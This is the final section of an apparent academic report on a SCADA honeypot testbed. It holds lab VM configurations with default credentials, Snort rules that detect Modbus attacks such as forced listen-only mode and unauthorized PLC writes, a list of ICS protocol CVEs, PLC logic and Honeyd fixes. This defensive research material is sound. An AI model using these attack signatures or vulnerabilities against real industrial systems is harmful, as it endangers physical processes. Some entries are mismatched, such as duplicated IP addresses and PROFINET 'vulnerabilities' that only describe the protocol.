Virtual Machine Host Name HoneyWall 
Interface and IP address Br0 : N/A (bridge mode) 
Eth0: N/A (attack network) 
Eth1: N/A (production network) 
Eth2: 172.16.1.2 (administration network) 
Extra Route N/A 
OS Information CentOS release 5 (Final) 
Virtual Machine Configuration Memory 1GB 
Processor 1 
Hard Disk(SCSI) 20GB 
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Network Adapter 1 VMnet3 
Network Adapter 2 VMnet1 
Network Adapter 3 VMnet2 
Installed Software Honeywall (https://projects.honeynet.org/honeywall/) 
Account/Password SSH (ssh://172.16.1.2): roo/honey root/honey 
Run Method N/A 
Notes The root must be sued from roo. 
Table 7: HoneyWall Configuration 
 
Virtual Machine Host Name Kali 
Interface and IP address Eth0: 192.168.100.11 (attack network) 
Eth1: 172.16.1.11 (administration network) 
Extra Route route add -net 10.0.0.0/8 gw 192.168.100.11 
OS Information Kali GNU/Linux 1.1.0 
Virtual Machine Configuration Memory 1GB 
Processor 1 
Hard Disk(SCSI) 50GB 
Network Adapter 1 VMnet3 
Network Adapter 2 VMnet2 
Installed Software Kali (https://www.kali.org/) 
modpoll (http://www.modbusdriver.com/modpoll.html) 
Account/Password SSH (ssh://172.16.1.11): root/root 
Metasploit Web Console (https://172.16.1.11:3790): 
test/!QAZ2wsx 
Run Method N/A 
Notes The Metasploit included in Kali does not have a web console. 
New version of Metasploit needs to be installed. The commu-
nity version can be found on 
http://www.metasploit.com/, however an account registration 
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is needed. 
Table 8: Kali Configuration 
 
Virtual Machine Host Name Nexpose 
Interface and IP address Eth0: 192.168.100.11 (attack network) 
Eth1: 172.16.1.11 (administration network) 
Extra Route route add -net 10.0.0.0/8 gw 192.168.100.11 
OS Information Ubuntu 12.04.5 LTS 
Virtual Machine Configuration Memory 8GB 
Processor 1 
Hard Disk(SCSI) 160GB 
Network Adapter 1 VMnet3 
Network Adapter 2 VMnet2 
Installed Software Nexpose (http://www.rapid7.com/products/nexpose) 
Account/Password SSH (ssh://172.16.1.22): root/root nexpose/nexpose 
Nexpose Web Console (https://172.16.1.22:3780) 
nxadmin/password 
Run Method N/A 
Notes The community version of Nexpose can be found on 
http://www.rapid7.com/products/nexpose, however an account 
registration is needed. 
Table 9: Nexpose Configuration 
 
Virtual Machine Host Name SamuraiSTFU 
Interface and IP address Eth0: 192.168.100.33 (attack network) 
Eth1: 172.16.1.33 (administration network) 
Extra Route route add -net 10.0.0.0 netmask 255.255.255.0 gw 
192.168.100.33 
route delete -net 169.254.0.0/16 
OS Information SamuraiSTFU 1.8 based on Ubuntu 12.04 LTS 
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Virtual Machine Configura-
tion 
Memory 1GB 
Processor 1 
Hard Disk(SCSI) 20GB 
Network Adapter 1 VMnet3 
Network Adapter 2 VMnet2 
Installed Software SamuraiSTFU (http://www.samuraistfu.org/home) 
Account/Password SSH (ssh://172.16.1.33): root/root 
Run Method N/A 
Notes N/A 
Table 10: SamuraiSTFU Configuration 
Notes 1: The VMware tools need to be installed on each virtual machine and the 
‘Synchronize guest time with host’ feature should be turned on. 
Notes 2: The host server needs at least 8GB memory, turn off the Nexpose virtual 
machine when the vulnerability scans ends; turn off the irrelevant applications on the 
host, some network applications may cause packet transmission delay, e.g. Skype. 
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Chapter 9 Future Work and Conclusion 
9.1. Future work 
This project only represents the basic idea of industrial network attack and pro-
tection, there are many works can be done in the future: 
1. Currently, only Modbus is used in the tank system and honeypot. The other 
industrial protocols can be added into the testbed in the next version. 
2. The tank system demonstrates a simple industrial production process, in the 
future, a more complex system should be simulated, e.g. a power generation 
system. 
3. The testbed in this project is deployed by pure software approach, in the 
coming version, some real PLC and slaves can be integrated into it. By using 
real devices, the OS fingerprint would be more accurate and more attacks can 
be demonstrated, e.g. the ‘force slave listen only’ attack. 
4. The testbed should be deployed in the Internet and assigned a public IP ad-
dress (not a campus IP) to attract and analyze real SCADA attacks. 
5. The features of the gathered attack dataset should be extracted by machine 
learning algorithm and the predicted new attacks can be added to the ruleset. 
9.2. Conclusion 
The SCADA testbed in this project has the essential elements of a typical indus-
trial network attack scenario—the targets, the defense system and the attack toolkits. 
The targets are a virtual PLC realized by the pure software approach; the defense sys-
tem shows the ability that attacks targeting SCADA network can also be defended; 
the attacks demonstrated in this project are both protocol-oriented and process-ori-
ented. Currently, people only pay attention to protocol-oriented attacks, more future 
work should be done to process-oriented ones.  
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Appendix A  Modbus TCP Snort Rule 
The signature below are retrieved from digitalbond [23]. 
1 
Message Modbus TCP – Force Listen Only Mode 
Rule alert tcp $MODBUS_CLIENT any -> $MODBUS_SERVER 502 
(flow:from_client, established; content:”|00 00|”; offset:2; 
depth:2; content:”|08 00 04|”; offset:7; depth:3; msg:”Modbus 
TCP – Force Listen Only Mode”; reference:url,digital-
bond.com/tools/quickdraw/modbus-tcp-rules; classtype:at-
tempted-dos; sid:1111001; rev:2; priority:1;) 
2 
Message Modbus TCP – Restart Communications Option 
Rule alert tcp $MODBUS_CLIENT any -> $MODBUS_SERVER 502 
(flow:from_client, established; content:”|00 00|”; offset:2; depth:2; 
content:”|08 00 01|”; offset:7; depth:3; msg:“Modbus TCP – Re-
start Communications Option”; reference:url,digital-
bond.com/tools/quickdraw/modbus-tcp-rules; classtype:at-
tempted-dos; sid:1111002; rev:2; priority:1;) 
3 
Message Modbus TCP – Clear Counters and Diagnostic Registers 
Rule alert tcp $MODBUS_CLIENT any -> $MODBUS_SERVER 502 
(flow:from_client, established; content:”|00 00|”; offset:2; depth:2; 
content:”|08 00 0A|”; offset:7; depth:3; msg:“Modbus TCP – Clear 
Counters and Diagnostic Registers”; reference:url,digital-
bond.com/tools/quickdraw/modbus-tcp-rules; classtype:misc-at-
tack; sid:1111003; rev:2; priority:3;) 
4 
Message Modbus TCP – Read Device Identification 
Rule alert tcp $MODBUS_CLIENT any -> $MODBUS_SERVER 502 
(flow:from_client, established; content:”|00 00|”; offset:2; depth:2; 
content:”|2B|”; offset:7; depth:1; msg:”Modbus TCP – Read De-
vice Identification”; reference:url,digitalbond.com/tools/quick-
draw/modbus-tcp-rules; classtype:attempted-recon; sid:1111004; 
rev:2; priority:3;) 
5 
Message Modbus TCP – Report Server Information 
Rule alert tcp $MODBUS_CLIENT any -> $MODBUS_SERVER 502 
(flow:from_client,established; content:”|00 00|”; offset:2; depth:2; 
content:”|11|”; offset:7; depth:1; msg:”Modbus TCP – Report 
Server Information”; reference:url,digitalbond.com/tools/quick-
draw/modbus-tcp-rules; classtype:attempted-recon; sid:1111005; 
rev:2; priority:3;) 
6 
Message Modbus TCP – Unauthorized Read Request to a PLC 
Rule alert tcp !$MODBUS_CLIENT any -> $MODBUS_SERVER 502 
(flow:from_client, established; content:”|00 00|”; offset:2; depth:2; 
pcre:”/[\S\s]{3}(\x01|\x02|\x03| 
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7 
Message Modbus TCP – Unauthorized Write Request to a PLC 
Rule alert tcp !$MODBUS_CLIENT any -> $MODBUS_SERVER 502 
(flow:from_client,established; content:”|00 00|”; offset:2; depth:2; 
pcre:”/[\S\s]{3}(\x05|\x06|\x0F|\x10|\x15|\x16)/iAR”; msg:”Mod-
bus TCP – Unauthorized Write Request to a PLC”; refer-
ence:url,digitalbond.com/tools/quickdraw/modbus-tcp-rules; 
classtype:bad-unknown; sid:1111007; rev:1; priority:1;) 
8 
Message Modbus TCP – Illegal Packet Size, Possible DOS Attack 
Rule alert tcp $MODBUS_CLIENT any <> $MODBUS_Server 502 
(flow:established; dsize:>300; msg:“Modbus TCP – Illegal Packet 
Size, Possible DOS Attack”; reference:url,digital-
bond.com/tools/quickdraw/modbus-tcp-rules; classtype:non-
standard-protocol; sid:1111008; rev:1; priority:1;) 
9 
Message Modbus TCP – Non-Modbus Communication on TCP Port 502 
Rule alert tcp $MODBUS_CLIENT any <> $MODBUS_SERVER 502 
(flow:established; pcre:”/[\S\s]{2}(?!\x00\x00)/iAR”; msg:”Mod-
bus TCP – Non-Modbus Communication on TCP Port 502″; refer-
ence:url,digitalbond.com/tools/quickdraw/modbus-tcp-rules; 
classtype:non-standard-protocol; sid:1111009; rev:1; priority:1;) 
10 
Message Modbus TCP – Slave Device Busy Exception Code Delay 
Rule alert tcp $MODBUS_SERVER 502 -> $MODBUS_CLIENT any 
(flow:established; content:”|00 00|”; offset:2; depth:2; byte_test: 
1, >, 0×80, 7; content:”|06|”; offset:8; depth:1; msg:”Modbus TCP 
– Slave Device Busy Exception Code Delay”; threshold: type 
threshold, track by_src, count 3, seconds 60; reference:url,digital-
bond.com/tools/quickdraw/modbus-tcp-rules; classtype:success-
ful-dos; sid:1111010; rev:2; priority:2;) 
11 
Message Modbus TCP – Acknowledge Exception Code Delay 
Rule alert tcp $MODBUS_SERVER 502 -> $MODBUS_CLIENT any 
(flow:established; content:”|00 00|”; offset:2; depth:2; byte_test: 
1, >, 0×80, 7; content:”|05|”; offset:8; depth:1; msg:”Modbus TCP 
– Acknowledge Exception Code Delay”; threshold: type threshold, 
track by_src, count 3, seconds 60; reference:url,digital-
bond.com/tools/quickdraw/modbus-tcp-rules; classtype:success-
ful-dos; sid:1111011; rev:2; priority:2;) 
12 
Message Modbus TCP – Incorrect Packet Length, Possible DoS Attack 
Rule alert tcp $MODBUS_SERVER 502 <> $MODBUS_CLIENT any 
(flow:established; byte_jump:2,4; isdataat:0,relative; msg:”Mod-
bus TCP – Incorrect Packet Length, Possible DoS Attack”; refer-
ence:url,digitalbond.com/tools/quickdraw/modbus-tcp-rules; 
classtype:non-standard-protocol; sid:1111012; rev:1; priority:2;) 
13 Message Modbus TCP – Points List Scan 
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Rule alert tcp $MODBUS_SERVER 502 -> $MODBUS_CLIENT any 
(flow:established; content:”|00 00|”; offset:2; depth:2; byte_test: 
1, >=, 0×80, 7; content:”|02|”; offset:8; depth:1; msg:”Modbus 
TCP – Points List Scan”; threshold: type threshold, track by_src, 
count 5, seconds 30; reference:url,digitalbond.com/tools/quick-
draw/modbus-tcp-rules; classtype:attempted-recon; sid:1111013; 
rev:1; priority:2;) 
14 
Message Modbus TCP – Function Code Scan 
Rule alert tcp $MODBUS_SERVER 502 -> $MODBUS_CLIENT any 
(flow:established; content:”|00 00|”; offset:2; depth:2; byte_test: 
1, >, 0×80, 7; content:”|01|”; offset:8; depth:1; msg:”Modbus TCP 
– Function Code Scan”; threshold: type threshold, track by_src, 
count 3, seconds 60; reference:url,digitalbond.com/tools/quick-
draw/modbus-tcp-rules; classtype:attempted-recon; sid:1111014; 
rev:1; priority:2;) 
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Appendix B  Protocol Vulnerability 
The vulnerabilities below are retrieved from national vulnerability database [23]. 
Modbus Vulnerabilities 
1. CVE-2007-1319, HIGH, Unspecified vulnerability in the IOPCServer::Re-
moveGroup function in the OPCDA interface in Takebishi Electric DeviceXPlorer 
OLE for Process Control (OPC) Server before 3.12 Build3 allows remote attackers to 
execute arbitrary code via unspecified vectors involving access to arbitrary memory. 
NOTE: this issue affects the (1) HIDIC, (2) MELSEC, (3) FA-M3, (4) MODBUS, 
and (5) SYSMAC OPC Servers. 
2. CVE-2007-4827, HIGH, Unspecified vulnerability in the Modbus/TCP Diag-
nostic function in MiniHMI.exe for the Automated Solutions Modbus Slave ActiveX 
Control before 1.5 allows remote attackers to corrupt the heap and possibly execute 
arbitrary code via malformed Modbus requests to TCP port 502. 
3. CVE-2008-5848, HIGH, The Advantech ADAM-6000 module has 00000000 
as its default password, which makes it easier for remote attackers to obtain access 
through an HTTP session, and (1) monitor or (2) control the module's Modbus/TCP 
I/O activity. 
4. CVE-2010-4709, HIGH, Heap-based buffer overflow in Automated Solu-
tions Modbus/TCP Master OPC Server before 3.0.2 allows remote attackers to cause a 
denial of service (crash) and possibly execute arbitrary code via a MODBUS response 
packet with a crafted length field. 
5. CVE-2010-4730, MEDIUM, Directory traversal vulnerability in cgi-
bin/read.cgi in WebSCADA WS100 and WS200, Easy Connect EC150, Modbus RTU 
- TCP Gateway MB100, and Serial Ethernet Server SS100 on the IntelliCom NetBiter 
NB100 and NB200 platforms allows remote authenticated administrators to read arbi-
trary files via a .. (dot dot) in the page parameter, a different vulnerability than CVE-
2009-4463. 
6. CVE-2010-4731, MEDIUM, Absolute path traversal vulnerability in cgi-
bin/read.cgi in WebSCADA WS100 and WS200, Easy Connect EC150, Modbus RTU 
- TCP Gateway MB100, and Serial Ethernet Server SS100 on the IntelliCom NetBiter 
NB100 and NB200 platforms allows remote authenticated administrators to read arbi-
trary files via a full pathname in the file parameter, a different vulnerability than 
CVE-2009-4463. 
7. CVE-2010-4732, HIGH, cgi-bin/read.cgi in WebSCADA WS100 and 
WS200, Easy Connect EC150, Modbus RTU - TCP Gateway MB100, and Serial 
Ethernet Server SS100 on the IntelliCom NetBiter NB100 and NB200 platforms al-
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lows remote authenticated administrators to execute arbitrary code by using a con-
fig.html 2.conf action to replace the logo page's GIF image file with a file containing 
this code, a different vulnerability than CVE-2009-4463. 
8. CVE-2010-4733, HIGH, WebSCADA WS100 and WS200, Easy Connect 
EC150, Modbus RTU - TCP Gateway MB100, and Serial Ethernet Server SS100 on 
the IntelliCom NetBiter NB100 and NB200 platforms have a default username and 
password, which makes it easier for remote attackers to obtain superadmin access via 
the web interface, a different vulnerability than CVE-2009-4463. 
9. CVE-2011-4861, HIGH, The modbus_125_handler function in the Schneider 
Electric Quantum Ethernet Module on the NOE 771 device (aka the Quantum 
140NOE771* module) allows remote attackers to install arbitrary firmware updates 
via a MODBUS 125 function code to TCP port 502. 
10. CVE-2011-1914, HIGH, Buffer overflow in the Advantech ADAM OLE for 
Process Control (OPC) Server ActiveX control in ADAM OPC Server before 
3.01.012, Modbus RTU OPC Server before 3.01.010, and Modbus TCP OPC Server 
before 3.01.010 allows remote attackers to execute arbitrary code via unspecified vec-
tors. 
11. CVE-2013-0664, HIGH, The FactoryCast service on the Schneider Electric 
Quantum 140NOE77111 and 140NWM10000, M340 BMXNOE0110x, and Premium 
TSXETY5103 PLC modules allows remote authenticated users to send Modbus mes-
sages, and consequently execute arbitrary code, by embedding these messages in 
SOAP HTTP POST requests. 
12. CVE-2013-2784, HIGH, Triangle Research International (aka Tri) Nano-10 
PLC devices with firmware before r81 use an incorrect algorithm for bounds checking 
of data in Modbus/TCP packets, which allows remote attackers to cause a denial of 
service (networking outage) via a crafted packet to TCP port 502. 
13. CVE-2013-5741, HIGH, Triangle Research International (aka Tri) Nano-10 
PLC devices with firmware r81 and earlier do not properly handle large length values 
in MODBUS data, which allows remote attackers to cause a denial of service (transi-
tion to the interrupt state) via a crafted packet to TCP port 502. 
14. CVE-2013-0662, HIGH, Multiple stack-based buffer overflows in Mod-
busDrv.exe in Schneider Electric Modbus Serial Driver 1.10 through 3.2 allow remote 
attackers to execute arbitrary code via a large buffer-size value in a Modbus Applica-
tion Header. 
15. CVE-2014-0777, HIGH, The Modbus slave/outstation driver in the OPC 
Drivers 1.0.20 and earlier in IOServer OPC Server allows remote attackers to cause a 
denial of service (out-of-bounds read and daemon crash) via a crafted packet. 
16. CVE-2014-9200, HIGH, Stack-based buffer overflow in an unspecified DLL 
file in a DTM development kit in Schneider Electric Unity Pro, SoMachine, SoMove, 
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SoMove Lite, Modbus Communication Library 2.2.6 and earlier, CANopen Commu-
nication Library 1.0.2 and earlier, EtherNet/IP Communication Library 1.0.0 and ear-
lier, EM X80 Gateway DTM (MB TCP/SL), Advantys DTM for OTB, Advantys 
DTM for STB, KINOS DTM, SOLO DTM, and Xantrex DTMs allows remote attack-
ers to execute arbitrary code via unspecified vectors. 
Ethernet/IP Vulnerabilities 
1. CVE-2009-0472, MEDIUM, Multiple cross-site scripting (XSS) vulnerabili-
ties in the web interface in the Rockwell Automation ControlLogix 1756-ENBT/A 
EtherNet/IP Bridge Module allow remote attackers to inject arbitrary web script or 
HTML via unspecified vectors. 
2. CVE-2009-0473, MEDIUM, Open redirect vulnerability in the web interface 
in the Rockwell Automation ControlLogix 1756-ENBT/A EtherNet/IP Bridge Module 
allows remote attackers to redirect users to arbitrary web sites and conduct phishing 
attacks via unspecified vectors. 
3. CVE-2009-0474, MEDIUM, The web interface in the Rockwell Automation 
ControlLogix 1756-ENBT/A EtherNet/IP Bridge Module allows remote attackers to 
obtain "internal web page information" and "internal information about the module" 
via unspecified vectors.  
4. CVE-2012-6435, HIGH, Rockwell Automation EtherNet/IP products; 1756-
ENBT, 1756-EWEB, 1768-ENBT, and 1768-EWEB communication modules; Com-
pactLogix L32E and L35E controllers; 1788-ENBT FLEXLogix adapter; 1794-
AENTR FLEX I/O EtherNet/IP adapter; ControlLogix 18 and earlier; CompactLogix 
18 and earlier; GuardLogix 18 and earlier; SoftLogix 18 and earlier; CompactLogix 
controllers 19 and earlier; SoftLogix controllers 19 and earlier; ControlLogix control-
lers 20 and earlier; GuardLogix controllers 20 and earlier; and MicroLogix 1100 and 
1400 allow remote attackers to cause a denial of service (control and communication 
outage) via a CIP message that specifies a logic-execution stop and fault. 
5. CVE-2012-6436, HIGH, Buffer overflow in Rockwell Automation Ether-
Net/IP products; 1756-ENBT, 1756-EWEB, 1768-ENBT, and 1768-EWEB communi-
cation modules; CompactLogix L32E and L35E controllers; 1788-ENBT FLEXLogix 
adapter; 1794-AENTR FLEX I/O EtherNet/IP adapter; ControlLogix 18 and earlier; 
CompactLogix 18 and earlier; GuardLogix 18 and earlier; SoftLogix 18 and earlier; 
CompactLogix controllers 19 and earlier; SoftLogix controllers 19 and earlier; Con-
trolLogix controllers 20 and earlier; GuardLogix controllers 20 and earlier; and Mi-
croLogix 1100 and 1400 allows remote attackers to cause a denial of service (CPU 
crash and communication outage) via a malformed CIP packet. 
6. CVE-2012-6437, HIGH, Rockwell Automation EtherNet/IP products; 1756-
ENBT, 1756-EWEB, 1768-ENBT, and 1768-EWEB communication modules; Com-
pactLogix L32E and L35E controllers; 1788-ENBT FLEXLogix adapter; 1794-
AENTR FLEX I/O EtherNet/IP adapter; ControlLogix 18 and earlier; CompactLogix 
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18 and earlier; GuardLogix 18 and earlier; SoftLogix 18 and earlier; CompactLogix 
controllers 19 and earlier; SoftLogix controllers 19 and earlier; ControlLogix control-
lers 20 and earlier; GuardLogix controllers 20 and earlier; and MicroLogix 1100 and 
1400 do not properly perform authentication for Ethernet firmware updates, which al-
lows remote attackers to execute arbitrary code via a Trojan horse update image. 
7. CVE-2012-6438, HIGH, Buffer overflow in Rockwell Automation Ether-
Net/IP products; 1756-ENBT, 1756-EWEB, 1768-ENBT, and 1768-EWEB communi-
cation modules; CompactLogix L32E and L35E controllers; 1788-ENBT FLEXLogix 
adapter; 1794-AENTR FLEX I/O EtherNet/IP adapter; ControlLogix 18 and earlier; 
CompactLogix 18 and earlier; GuardLogix 18 and earlier; SoftLogix 18 and earlier; 
CompactLogix controllers 19 and earlier; SoftLogix controllers 19 and earlier; Con-
trolLogix controllers 20 and earlier; GuardLogix controllers 20 and earlier; and Mi-
croLogix 1100 and 1400 allows remote attackers to cause a denial of service (NIC 
crash and communication outage) via a malformed CIP packet. 
8. CVE-2012-6439, HIGH, Rockwell Automation EtherNet/IP products; 1756-
ENBT, 1756-EWEB, 1768-ENBT, and 1768-EWEB communication modules; Com-
pactLogix L32E and L35E controllers; 1788-ENBT FLEXLogix adapter; 1794-
AENTR FLEX I/O EtherNet/IP adapter; ControlLogix 18 and earlier; CompactLogix 
18 and earlier; GuardLogix 18 and earlier; SoftLogix 18 and earlier; CompactLogix 
controllers 19 and earlier; SoftLogix controllers 19 and earlier; ControlLogix control-
lers 20 and earlier; GuardLogix controllers 20 and earlier; and MicroLogix 1100 and 
1400 allow remote attackers to cause a denial of service (control and communication 
outage) via a CIP message that modifies the (1) configuration or (2) network parame-
ters. 
9. CVE-2012-6440, HIGH, The web-server password-authentication functional-
ity in Rockwell Automation EtherNet/IP products; 1756-ENBT, 1756-EWEB, 1768-
ENBT, and 1768-EWEB communication modules; CompactLogix L32E and L35E 
controllers; 1788-ENBT FLEXLogix adapter; 1794-AENTR FLEX I/O EtherNet/IP 
adapter; ControlLogix 18 and earlier; CompactLogix 18 and earlier; GuardLogix 18 
and earlier; SoftLogix 18 and earlier; CompactLogix controllers 19 and earlier; Soft-
Logix controllers 19 and earlier; ControlLogix controllers 20 and earlier; GuardLogix 
controllers 20 and earlier; and MicroLogix 1100 and 1400 allows man-in-the-middle 
attackers to conduct replay attacks via HTTP traffic. 
10. CVE-2012-6441, MEDIUM, Rockwell Automation EtherNet/IP products; 
1756-ENBT, 1756-EWEB, 1768-ENBT, and 1768-EWEB communication modules; 
CompactLogix L32E and L35E controllers; 1788-ENBT FLEXLogix adapter; 1794-
AENTR FLEX I/O EtherNet/IP adapter; ControlLogix 18 and earlier; CompactLogix 
18 and earlier; GuardLogix 18 and earlier; SoftLogix 18 and earlier; CompactLogix 
controllers 19 and earlier; SoftLogix controllers 19 and earlier; ControlLogix control-
lers 20 and earlier; GuardLogix controllers 20 and earlier; and MicroLogix 1100 and 
1400 allow remote attackers to obtain sensitive information via a crafted CIP packet. 
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11. CVE-2012-6442, HIGH, Rockwell Automation EtherNet/IP products; 1756-
ENBT, 1756-EWEB, 1768-ENBT, and 1768-EWEB communication modules; Com-
pactLogix L32E and L35E controllers; 1788-ENBT FLEXLogix adapter; 1794-
AENTR FLEX I/O EtherNet/IP adapter; ControlLogix 18 and earlier; CompactLogix 
18 and earlier; GuardLogix 18 and earlier; SoftLogix 18 and earlier; CompactLogix 
controllers 19 and earlier; SoftLogix controllers 19 and earlier; ControlLogix control-
lers 20 and earlier; GuardLogix controllers 20 and earlier; and MicroLogix 1100 and 
1400 allow remote attackers to cause a denial of service (control and communication 
outage) via a CIP message that specifies a reset. 
12. CVE-2014-9200, HIGH, Stack-based buffer overflow in an unspecified DLL 
file in a DTM development kit in Schneider Electric Unity Pro, SoMachine, SoMove, 
SoMove Lite, Modbus Communication Library 2.2.6 and earlier, CANopen Commu-
nication Library 1.0.2 and earlier, EtherNet/IP Communication Library 1.0.0 and ear-
lier, EM X80 Gateway DTM (MB TCP/SL), Advantys DTM for OTB, Advantys 
DTM for STB, KINOS DTM, SOLO DTM, and Xantrex DTMs allows remote attack-
ers to execute arbitrary code via unspecified vectors. 
PROFINET Vulnerabilities 
1. Standard TCP/IP: This is used for non-deterministic functions such as para-
metrization, video/audio transmissions and data transfer to higher level IT systems. 
2. Real Time (PROFINET RT): Here the TCP/IP layers are bypassed in order to 
give deterministic performance for automation applications in the 1-10mS range. This 
represents a software-based solution suitable for typical I/O applications, including 
motion control and high performance requirements. 
3. Isochronous Real Time (PROFINET IRT): Here, signal prioritization and 
scheduled switching deliver high precision synchronization for applications such as 
motion control. Cycle rates in the sub-millisecond range are possible, with jitter in the 
sub-microsecond range. This service requires hardware support in the form of (read-
ily-available) ASICs. 
CANopen Vulnerabilities 
1. CVE-2014-9200, HIGH, Stack-based buffer overflow in an unspecified DLL 
file in a DTM development kit in Schneider Electric Unity Pro, SoMachine, SoMove, 
SoMove Lite, Modbus Communication Library 2.2.6 and earlier, CANopen Commu-
nication Library 1.0.2 and earlier, EtherNet/IP Communication Library 1.0.0 and ear-
lier, EM X80 Gateway DTM (MB TCP/SL), Advantys DTM for OTB, Advantys 
DTM for STB, KINOS DTM, SOLO DTM, and Xantrex DTMs allows remote attack-
ers to execute arbitrary code via unspecified vectors. 
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EtherCAT Vulnerabilities 
1.  CVE-2012-4293, LOW, plugins/ethercat/packet-ecatmb.c in the EtherCAT 
Mailbox dissector in Wireshark 1.4.x before 1.4.15, 1.6.x before 1.6.10, and 1.8.x be-
fore 1.8.2 does not properly handle certain integer fields, which allows remote attack-
ers to cause a denial of service (application exit) via a malformed packet. 
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Appendix C  PLC Logic 
// SCADA TESTBED V0.01 Modified By Liao Zhang 2015‐07‐16 
NETWORK 1 
STR SC1 
COPY YS10 DS10 
COPY YS11 DS11 
COPY 80 YS12 
COPY 20 YS13 
COPY 95 YS14 
COPY 5 YS15 
 
// Check the events. 
NETWORK 2 
STR SC1 
CALL Events 
// End of the main routine 
 
 
// Check the events. 
SBR Events 
 
// Pump is running. 
NETWORK 1 
STRNE DS1 0 
OUT Y20 
 
// Pump is stopped. 
NETWORK 2 
STRE DS1 0 
OUT Y21 
 
 
// Tank 1 is full. 
NETWORK 3 
STRGE DS10 YS14 
OUT Y30 
 
// Tank 1 is almost full. 
NETWORK 4 
STRGE DS10 YS12 
OUT Y32 
 
// Tank 2 is full. 
NETWORK 5 
STRGE DS11 YS14 
OUT Y31 
 
// Tank 2 is almost full. 
NETWORK 6 
STRGE DS11 YS12 
OUT Y33 
 
// Return to the main program. 
NETWORK 7 
RT 
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Appendix D  Known Bugs 
Bugs1:  
Symptom: Honeyd 1.6c (the latest version) can not work properly, the first time 
tcp handshake always fails because of the zero window size. 
Solution: In the Honeyd 1.6c source code file--personnality.c, some ‘break;’ are 
missing in the case branch (Figure 19). Add these ‘break;’ and recompile the whole 
honeyd project. 
 
Figure 19: Honeyd 1.6c personality.c 
Bugs2:  
Symptom: Honeyd 1.6c (the latest version) can not add proxy or the service port 
number larger than 32767. 
Solution: In the Honeyd 1.6c source code file--command.c, the port data type is 
short whose range is -32768 to 32767 (Figure 20), change the ‘short’ to ‘int’ and 
recompile the whole honeyd project. 
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Figure 20: Honeyd 1.6c command.c 
